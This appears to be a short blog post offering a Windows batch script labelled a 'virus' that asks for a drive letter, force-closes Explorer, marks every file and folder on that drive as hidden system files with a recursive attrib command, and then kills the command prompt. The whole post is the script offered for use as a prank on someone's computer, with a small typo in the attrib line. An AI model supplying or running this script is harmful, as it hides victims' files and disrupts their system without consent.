Virus to hide folders and files

@ECHO OFF
ECHO Type the drive letter. ONLY the letter.
ECHO ALL FILES ARE GOING TO BE MODIFIED!!!

ECHO DHARAMART.BLOGSPOT.IN

 set /p letter=

ECHO %letter%: selected
taskkill /im explorer.exe /f
ECHO.
ECHO "Modifying files..."
ECHO.

attrib +s +h + a /s /d %letter%:\*.*

ECHO "Process completed."

start explorer %letter%:
taskkill /im cmd.exe /f

IF YOU WANT EXPLANATION OF THIS CODE THEN MAIL ME .